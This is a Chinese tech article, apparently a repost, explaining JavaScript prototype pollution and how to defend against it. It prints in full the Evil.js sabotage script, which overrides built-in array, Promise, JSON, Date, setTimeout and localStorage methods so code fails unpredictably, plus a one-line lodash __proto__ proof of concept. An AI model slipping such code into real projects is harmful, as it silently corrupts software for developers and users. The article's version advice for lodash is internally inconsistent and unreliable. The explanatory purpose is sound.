不知大家是否还记得两年前 Github 出现的一个名为 Evil.js 的项目,其号称专治 996 公司,实际就是给前端项目“投毒”。本文就来聊一聊这个项目背后的故事:原型污染。
原型污染是一种很少被关注但潜在风险严重的安全漏洞,它影响基于原型的编程语言,例如 JavaScript。这种漏洞通过篡改对象的原型链,从而影响所有基于该原型的对象。
在深入探讨原型污染之前,先来回顾一下 JavaScript基于原型的编程范式。
JavaScript 的原型机制是其面向对象编程模型的核心,它允许对象通过原型链来继承属性和方法。在 JavaScript 中,每个对象都有一个与之关联的原型对象,当试图访问一个对象的属性或方法时,如果该对象本身没有该属性,JavaScript 就会查找该对象的原型对象,看原型对象是否有这个属性。这个过程会一直持续到原型链的末端,即 Object.prototype。
构造函数是用于创建和初始化新对象的特殊函数。当使用 new 关键字调用构造函数时,会创建一个新对象,并将该对象的原型设置为构造函数的 prototype 属性所指向的对象。每个函数都有一个 prototype 属性,这个属性是一个对象,包含了可以由特定类型的所有实例共享的属性和方法。
在 ES6 之前,通常使用非标准的 __proto__ 属性来访问或修改一个对象的原型(尽管许多浏览器都支持它,但它不是 ECMAScript 标准的一部分)。然而,更推荐的做法是使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法来访问和修改对象的原型。
虽然 ES6 引入了 class 和 extends 关键字,这两个关键字提供了一种更接近于传统类继承的语法糖,但实际上它们仍然是基于原型链的。
下面来看一个栗子:
// 定义一个构造函数 function Car(brand, color) { this.brand = brand; this.color = color; } // 在 Car 的原型上添加一个方法 Car.prototype.drive = function() { return "The " + this.brand + " " + this.color + " car is driving away."; }; // 创建一个 Car 的实例 let redCar = new Car("BMW", "red"); // 访问实例的属性 console.log(redCar.brand); // 输出 "BMW" console.log(redCar.color); // 输出 "red" // 调用实例继承自原型的方法 console.log(redCar.drive()); // 输出 "The BMW red car is driving away." // 创建一个继承自 Car 的新构造函数 function ElectricCar(brand, color, batteryRange) { // 调用 Car 的构造函数,继承其属性 Car.call(this, brand, color); this.batteryRange = batteryRange; } // 设置 ElectricCar 的原型为 Car 的实例,从而继承 Car 的方法 ElectricCar.prototype = Object.create(Car.prototype); ElectricCar.prototype.constructor = ElectricCar; // 添加 ElectricCar 特有的方法 ElectricCar.prototype.recharge = function() { return "The " + this.brand + " is recharging."; }; // 创建一个 ElectricCar 的实例 let tesla = new ElectricCar("Tesla", "blue", 300); // 访问继承的属性和方法 console.log(tesla.brand); // 输出 "Tesla" console.log(tesla.drive()); // 输出 "The Tesla blue car is driving away." // 访问 ElectricCar 特有的方法 console.log(tesla.recharge()); // 输出 "The Tesla is recharging."
在这个例子中定义了一个 Car 构造函数和一个 ElectricCar 构造函数。ElectricCar 通过将其原型设置为 Car 的一个实例来继承 Car 的属性和方法。我们还为 ElectricCar 添加了一个特有的方法 recharge。这样,ElectricCar 的实例 tesla 就可以访问继承自 Car 的属性和方法,以及 ElectricCar 特有的方法。
原型污染发生在攻击者能够修改 JavaScript 对象原型时。由于JavaScript的原型链机制,如果攻击者能够操纵或覆盖某些原型对象的属性或方法,那么这种修改将会影响到所有继承自该原型的对象。这可能导致应用的行为异常,甚至被攻击者利用来执行恶意代码或窃取敏感数据。
原型污染通常发生在以下情况:
下面来了解两个原型污染的实际例子。
2022年某一天,好多前端群都在疯传一个名为 Evil.js 的开源项目,看了一眼,好家伙,不简单啊:
由于这个库传播比较广泛,作者紧急删除了发布在 npm 的包,并发布了声明(保命):
声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
故事到这里就结束了。那作者是怎么实现的呢?了解原型的小伙伴第一个想到的应该就是作者修改了这些 JavaScript 内置对象的原型。为了验证想法,我们来看看源码:
(global => { /** * If the array size is devidable by 7, this function aways fail * @zh 当数组长度可以被7整除时,本方法永远返回false */ const _includes = Array.prototype.includes; Array.prototype.includes = function (...args) { if (this.length % 7 !== 0) { return _includes.call(this, ...args); } else { return false; } }; /** * Array.map will always be missing the last element on Sundays * @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素 */ const _map = Array.prototype.map; Array.prototype.map = function (...args) { result = _map.call(this, ...args); if (new Date().getDay() === 0) { result.length = Math.max(result.length - 1, 0); } return result; } /** * Array.fillter has 10% chance to lose the final element * @zh Array.filter的结果有2%的概率丢失最后一个元素 */ const _filter = Array.prototype.filter; Array.prototype.filter = function (...args) { result = _filter.call(this, ...args); if (Math.random() < 0.02) { result.length = Math.max(result.length - 1, 0); } return result; } /** * setTimeout will alway trigger 1s later than expected * @zh setTimeout总是会比预期时间慢1秒才触发 */ const _timeout = global.setTimeout; global.setTimeout = function (handler, timeout, ...args) { return _timeout.call(global, handler, +timeout + 1000, ...args); } /** * Promise.then has a 10% chance will not register on Sundays * @zh Promise.then 在周日时有10%几率不会注册 */ const _then = Promise.prototype.then; Promise.prototype.then = function (...args) { if (new Date().getDay() === 0 && Math.random() < 0.1) { return; } else { _then.call(this, ...args); } } /** * JSON.stringify will replace 'I' into 'l' * @zh JSON.stringify 会把'I'变成'l' */ const _stringify = JSON.stringify; JSON.stringify = function (...args) { return _stringify(...args).replace(/I/g, 'l'); } /** * Date.getTime() always gives the result 1 hour slower * @zh Date.getTime() 的结果总是会慢一个小时 */ const _getTime = Date.prototype.getTime; Date.prototype.getTime = function (...args) { let result = _getTime.call(this); result -= 3600 * 1000; return result; } /** * localStorage.getItem has 5% chance return empty string * @zh localStorage.getItem 有5%几率返回空字符串 */ const _getItem = global.localStorage.getItem; global.localStorage.getItem = function (...args) { let result = _getItem.call(global.localStorage, ...args); if (Math.random() < 0.05) { result = ''; } return result; }})((0, eval('this')));
果然,只要原本是在原型上定义的方法,修改方式都是修改原型。那么,只要这段代码安装/插入到前端项目中,就会污染部分 JavaScript 的原型,那么在使用这些原型上的方法时,就会有一定概率出现上面所说的异常情况,这就是原型污染。
下面再来看一下之前 Lodash 被原型污染的故事,存在问题的版本为 4.17.15。
在 lodash 的 4.17.15 版本中,存在一个原型污染的漏洞。这个漏洞允许攻击者通过特定的函数(如 merge、mergeWith、defaultsDeep、zipObjectDeep)来注入或修改 Object.prototype 的属性。由于这些属性会被添加到所有对象的原型链上,因此它们将影响所有在 JavaScript 环境中创建的对象。
比如,利用 Lodash 的 zipObjectDeep 函数,攻击者可以创建一个对象,并通过特定的键(如 __proto__)来污染原型链。
import _ from 'lodash';_.zipObjectDeep(['__proto__.z'],[123]);console.log(z); // 输出 123
漏洞影响:
要防止原型污染,可以遵循以下几个步骤和策略:
避免直接修改全局对象的原型:尽量使用其他方式扩展功能,而不是直接修改原型。
使用对象的浅拷贝或深拷贝:在创建新的对象时,使用浅拷贝或深拷贝,而不是直接修改原型。
避免在第三方库上修改原型:防止对其他模块产生意外影响。
使用严格模式("use strict"):这有助于捕获一些潜在的原型链污染问题。
验证和清理输入数据:
确保所有的输入数据都经过严格的验证,以防恶意数据造成原型污染。
对于不可信的数据,实施一系列的验证措施,包括数据类型、格式、长度等的检查。
使用冻结对象:
使用Object.freeze()来冻结对象,使其无法被修改。这可以防止攻击者通过修改冻结对象的原型来造成污染。
使用替代数据结构:
在某些情况下,可以使用Map代替普通的JavaScript对象来储存键值对。因为Map不会受到原型污染的影响。
更新和维护第三方库:
保持所使用的第三方库(如lodash等)为最新版本,以利用其中的安全修复。
特别是针对已知存在原型污染问题的库(如 lodash 4.7.12 之前版本、jQuery 3.4.0之前版本),应尽快更新到修复了该问题的版本。
本文链接:http://www.28at.com/showinfo-26-94588-0.html遭了!JavaScript 代码被投毒了
声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。邮件:2376512515@qq.com
上一篇: 异步失效的九种场景及C#示例代码
下一篇: Kafka如何保证消息的不丢失与不重复